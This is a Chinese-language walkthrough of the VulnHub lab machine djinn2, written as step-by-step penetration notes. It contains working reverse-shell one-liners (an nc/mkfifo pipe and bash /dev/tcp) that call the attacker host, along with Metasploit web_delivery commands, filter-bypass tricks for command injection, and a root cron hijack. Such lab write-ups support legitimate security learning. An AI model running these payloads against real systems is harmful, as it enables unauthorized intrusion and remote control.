vulnhub靶機-djinn2

1、靶機開機後得到ip:192.168.0.107

2、掃描靶機端口,比上一個靶機多了個5000端口

21
22
1337
5000
7331
root@kali:~/桌面# nmap -p- -A 192.168.0.107
Starting Nmap 7.80 ( https://nmap.org ) 
Nmap scan report for 192.168.0.107
Host is up (0.00100s latency).
Not shown: 65530 closed ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 0        0              14 Jan 12 04:26 creds.txt
| -rw-r--r--    1 0        0             280 Jan 19 14:10 game.txt
|_-rw-r--r--    1 0        0             275 Jan 19 14:12 message.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.0.109
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 22:3c:7f:28:79:44:01:ca:55:d2:48:6d:06:5d:cd:ac (RSA)
|   256 71:e4:82:a4:95:30:a0:47:d5:14:fe:3b:c0:10:6c:d8 (ECDSA)
|_  256 ce:77:48:33:be:27:98:4b:5e:4d:62:2f:a3:33:43:a7 (ED25519)
1337/tcp open  waste?
| fingerprint-strings: 
|   GenericLines: 
|     ____ _____ _ 
|     ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___ 
|     \x20/ _ \x20 | | | | '_ ` _ \x20/ _ \n| |_| | (_| | | | | | | __/ | | | | | | | | | __/
|     ____|__,_|_| |_| |_|___| |_| |_|_| |_| |_|___|
|     @0xmzfr, Thanks for hiring me.
|     Since I know how much you like to play game. I'm adding another game in this.
|     Math game
|     Catch em all
|     Exit
|     Stop acting like a hacker for a damn minute!!
|   NULL: 
|     ____ _____ _ 
|     ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___ 
|     \x20/ _ \x20 | | | | '_ ` _ \x20/ _ \n| |_| | (_| | | | | | | __/ | | | | | | | | | __/
|     ____|__,_|_| |_| |_|___| |_| |_|_| |_| |_|___|
|     @0xmzfr, Thanks for hiring me.
|     Since I know how much you like to play game. I'm adding another game in this.
|     Math game
|     Catch em all
|_    Exit
5000/tcp open  http    Werkzeug httpd 0.16.0 (Python 3.6.9)
|_http-server-header: Werkzeug/0.16.0 Python/3.6.9
|_http-title: 405 Method Not Allowed
7331/tcp open  http    Werkzeug httpd 0.16.0 (Python 3.6.9)
|_http-server-header: Werkzeug/0.16.0 Python/3.6.9
|_http-title: Lost in space
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1337-TCP:V=7.80%I=7%D=6/28%Time=5EF8A0FA%P=x86_64-pc-linux-gnu%r(NU
SF:LL,1DD,"\x20\x20____\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_____\x20_\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20/\x20___\|\x20__\
SF:x20_\x20_\x20__\x20___\x20\x20\x20___\x20\x20\|_\x20\x20\x20_\(_\)_\x20
SF:__\x20___\x20\x20\x20___\x20\n\|\x20\|\x20\x20_\x20/\x20_`\x20\|\x20'_\
SF:x20`\x20_\x20\\\x20/\x20_\x20\\\x20\x20\x20\|\x20\|\x20\|\x20\|\x20'_\x
SF:20`\x20_\x20\\\x20/\x20_\x20\\\n\|\x20\|_\|\x20\|\x20\(_\|\x20\|\x20\|\
SF:x20\|\x20\|\x20\|\x20\|\x20\x20__/\x20\x20\x20\|\x20\|\x20\|\x20\|\x20\
SF:|\x20\|\x20\|\x20\|\x20\|\x20\x20__/\n\x20\\____\|\\__,_\|_\|\x20\|_\|\
SF:x20\|_\|\\___\|\x20\x20\x20\|_\|\x20\|_\|_\|\x20\|_\|\x20\|_\|\\___\|\n
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:n\nHey\x20@0xmzfr,\x20Thanks\x20for\x20hiring\x20me\.\nSince\x20I\x20kn
SF:ow\x20how\x20much\x20you\x20like\x20to\x20play\x20game\.\x20I'm\x20addi
SF:ng\x20another\x20game\x20in\x20this\.\n1\.\x20Math\x20game\n2\.\x20Catc
SF:h\x20em\x20all\n3\.\x20Exit\n>\x20")%r(GenericLines,20B,"\x20\x20____\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20_____\x20_\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\n\x20/\x20___\|\x20__\x20_\x20_\x20__\x20___
SF:\x20\x20\x20___\x20\x20\|_\x20\x20\x20_\(_\)_\x20__\x20___\x20\x20\x20_
SF:__\x20\n\|\x20\|\x20\x20_\x20/\x20_`\x20\|\x20'_\x20`\x20_\x20\\\x20/\x
SF:20_\x20\\\x20\x20\x20\|\x20\|\x20\|\x20\|\x20'_\x20`\x20_\x20\\\x20/\x2
SF:0_\x20\\\n\|\x20\|_\|\x20\|\x20\(_\|\x20\|\x20\|\x20\|\x20\|\x20\|\x20\
SF:|\x20\x20__/\x20\x20\x20\|\x20\|\x20\|\x20\|\x20\|\x20\|\x20\|\x20\|\x2
SF:0\|\x20\x20__/\n\x20\\____\|\\__,_\|_\|\x20\|_\|\x20\|_\|\\___\|\x20\x2
SF:0\x20\|_\|\x20\|_\|_\|\x20\|_\|\x20\|_\|\\___\|\n\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\nHey\x20@0xmzfr,\x20
SF:Thanks\x20for\x20hiring\x20me\.\nSince\x20I\x20know\x20how\x20much\x20y
SF:ou\x20like\x20to\x20play\x20game\.\x20I'm\x20adding\x20another\x20game\
SF:x20in\x20this\.\n1\.\x20Math\x20game\n2\.\x20Catch\x20em\x20all\n3\.\x2
SF:0Exit\n>\x20Stop\x20acting\x20like\x20a\x20hacker\x20for\x20a\x20damn\x
SF:20minute!!\n");
MAC Address: 08:00:27:5E:3A:EC (Oracle VirtualBox virtual NIC)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=6/28%OT=21%CT=1%CU=42754%PV=Y%DS=1%DC=D%G=Y%M=080027%T
OS:M=5EF8A149%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=10B%TI=Z%CI=I%II=I
OS:%TS=A)OPS(O1=M218ST11NW7%O2=M218ST11NW7%O3=M218NNT11NW7%O4=M218ST11NW7%O
OS:5=M218ST11NW7%O6=M218ST11)WIN(W1=28F0%W2=28F0%W3=28F0%W4=28F0%W5=28F0%W6
OS:=28F0)ECN(R=Y%DF=Y%T=40%W=29E0%O=M218NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O
OS:%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=
OS:0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%
OS:S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(
OS:R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=
OS:N%T=40%CD=S)

Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.00 ms 192.168.0.107

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 97.94 seconds

3、ftp連接之後還是和上一個靶機一樣的三個文件

creds.txt


nitu:7846A$56

暫時看不出有啥用
game.txt


@0xmzfr I would like to thank you for hiring me. I won't disappoint you like SAM.
Also I've started implementing the secure way of authorizing the access to our 
network. I have provided @nitish81299 with the beta version of the key fob
hopes everything would be good.

- @Ugtan_

這個提示了似乎把sam換成了ugtan
message.txt


@nitish81299, you and sam messed it all up. I've fired sam for all the fuzz he created and 
this will be your last warning if you won't put your shit together than you'll be gone as well.
I've hired @Ugtan_ as our new security head, hope  he'll do something good.

- @0xmzfr

這個能看出來的信息和前面的game.txt差不多,沒啥實際性的意義

4、nc連接1337端口,有三個選擇,選擇第一個之後,需要回答幾道數學題,就給了個信息,也不知道有啥作用

然後第二個和第三個都沒啥信息

5、訪問5000端口,顯示方法不被允許

這裏可以猜到應該是不允許使用get方式進行訪問,於是burpsuit抓包換成post方式,這裏也可以使用火狐的hackbar插件,改了之後訪問顯示access denied,被禁止了,就先放着

驗證的話可以使用OPTIONS方式進行訪問,這個方法可以看到允許訪問的方式,前提是這個方式被允許

6、訪問7331端口,很自然的先看一下wish目錄,提示說這裏已經被修復了,提交數據也沒有用,這也是爲什麼沒有第一步直接到這裏來的原因,因爲兩個靶機不可能漏洞設在同一個點

但是突破口似乎就只剩下這裏了,還是掃描一下目錄

robots.txt
source
wish

7、訪問robots.txt得到/letshack目錄,兩個端口都進行了訪問,都顯示沒有,那這個似乎沒有啥用

wish目錄我們已經試過了,接下來直接訪問source,發現直接下載了一個文件,打開後發現是個python腳本

import re

from time import sleep



import requests



URL = "http://{}:5000/?username={}&password={}"





def check_ip(ip: str):

    """

    Check whether the input IP is valid or not

    """

    if re.match(r'^(?:(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])'

                '(\.(?!$)|$)){4}$', ip):

        return True

    else:

        return False





def catcher(host, username, password):

    try:

        url = URL.format(host, username, password)

        requests.post(url)

        sleep(3)

    except Exception:

        pass



    print("Unable to connect to the server!!")





def main():

    print("If you have this then congratulations on being a part of an awesome organization")

    print("This key will help you in connecting to our system securely.")

    print("If you find any issue please report it to [email protected]")



    ip = input('\nIP of the machine: ')

    username = input('Your username: ')

    password = input('Your password: ')



    if ip and check_ip(ip) and username == "REDACTED" and password == "REDACTED":

        print("Verifiying %s with host %s " % (username, ip))

        catcher(ip, username, password)

    else:

        print("Invalid IP address given")





if __name__ == "__main__":

    main()


執行的東西就是會要求輸入ip、username、password,如果滿足要求ip的格式、username和password都是REDACTED,就會用post方式去訪問http://ip:5000?username=REDACTED&password=REDACTED,這不是像極了剛剛需要用post方式訪問的5000端口嘛,但是結果卻顯示拒絕訪問,這下有了用戶名和密碼再試試,沒有顯示拒絕訪問了,但是也沒有什麼有用的信息

8、到了這裏基本就沒有什麼頭緒了,上網搜索一番,發現是在username這個參數這裏可以進行rce(ps:感覺像腦洞ctf了)

這裏直接嘗試使用一句話反彈shell的時候是不行的,應該是有過濾,查看一下文件內容,看看過濾了什麼

這裏繞過的方式很多

(1)可以在本地新建一個shell腳本文件,然後將一句話寫入進去,再使用wget命令下載到靶機的/tmp目錄下,再給777權限,然後本地開啓監聽再運行腳本

(2)這裏我想再熟悉一下前面學到的使用msf反彈的方式

msfconsole
use exploit/multi/script/web_delivery
set target 6
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.109
run

運行完上面的這些命令之後就可以得到一系列命令,這些命令的作用就和我第一種方法描述的差不多

複製出來之後需要注意三點:

(1)不能直接全部粘上去執行,因爲前面是過濾分號的

(2)傳參的地方不能直接使用空格,空格可以使用%20或者+代替

(3)下載之後需要指定路徑爲tmp,所以上面的命令需要修改一點點

msf5成功產生seseion

9、然後就是python3提權一下,在/var/backups目錄下發現一個nitu.kdbx文件(ps:特地去前面靶機看了,是沒有的)

什麼是KDBX文件? 由Windows免費密碼管理器KeePass Password Safe創建的文件; 存儲密碼的加密數據庫,該數據庫只能使用用戶設置的主密碼進行查看; 用於安全存儲Windows,電子郵件帳戶,FTP站點,電子商務站點和其他目的的個人登錄憑據。 KDBX格式是KeePass的2版本引入的。

下載這個文件到本地,方法很多,這裏我使用的是python3,和之前python2的那個一樣

python3 -m http.server [端口]

本地使用keepass2打開文件,輸入之前ftp中creds.txt文件中的密碼7846A$56

這裏可以直接右鍵選擇複製密碼就可以得到密碼了

nitish/&HtMGd$LJB

10、ssh登錄,查看本地進程的時候發現正在監聽2843端口

netstat -ano

使用nc本地連接一下,輸入賬號密碼得到內容

nc 127.0.0.1 2843

這裏前面幾個功能測試的時候都沒有什麼有用的信息,但是使用到第6個的時候,發現了一些信息,似乎查看notes的時候,會把name作爲文件名cat一下

選擇5新建一個note,name設置爲/etc/passwd,看看能不能讀取到內容,可以發現是能夠成功讀取到的

接下來就是看看能不能命令注入,設置name爲/etc/passwd|id,發現身份是ugtan

接着就是反彈shell,不能直接使用bash反彈,使用revshellgen生成payload,成功反彈shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.0.109 6666 >/tmp/f

11、接着就是要提權到root,在/var/mail目錄下有一封郵件,說是在ugtan的家目錄下創建了文件夾,會有一個定時任務運行clean.sh

From root@djinn  Mon Jan 13 19:36:24 2020
Return-Path: <root@djinn>
X-Original-To: ugtan@djinn
Delivered-To: ugtan@djinn
Received: by djinn (Postfix, from userid 0)
        id E2B7C82E9F; Mon, 13 Jan 2020 19:36:24 +0530 (IST)
Subject: Way to clean up the systems
To: <ugtan@djinn>
X-Mailer: mail (GNU Mailutils 3.4)
Message-Id: <20200113140624.E2B7C82E9F@djinn>
Date: Mon, 13 Jan 2020 19:36:24 +0530 (IST)
From: root <root@djinn>

Hey 0xmzfr,
I've setup the folder that you asked me to make in my home directory,
Since I'd be gone for a day or two you can just leave the clean.sh in
that directory and cronjob will handle the rest. 

- Ugtan_

12、進入到家目錄,發現best/admin/ever路徑,進入到裏面,將反彈shell一句話寫入到clean.sh,本地監聽,稍等一會(定時任務是每三分鐘執行一次)

echo "bash -i >& /dev/tcp/192.168.0.109/8888 0>&1" >clean.sh
chmod 777 clean.sh

成功反彈,運行proof.sh,滲透結束

13、補充

這裏是解決了我之前很久的一個疑惑,以前使用wget下載文件到靶機上的時候,保存的內容老是已經執行完的結果,現在想但是應該是使用wget的-o參數,所以當時是先下載,然後使用mv修改文件名,其實應該是要用-O參數

-o和-O的區別,wget -h中有介紹兩者的作用

14、參考文章

Djinn 2 Writeup – Vulnhub

 

下一篇寫djinn3

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章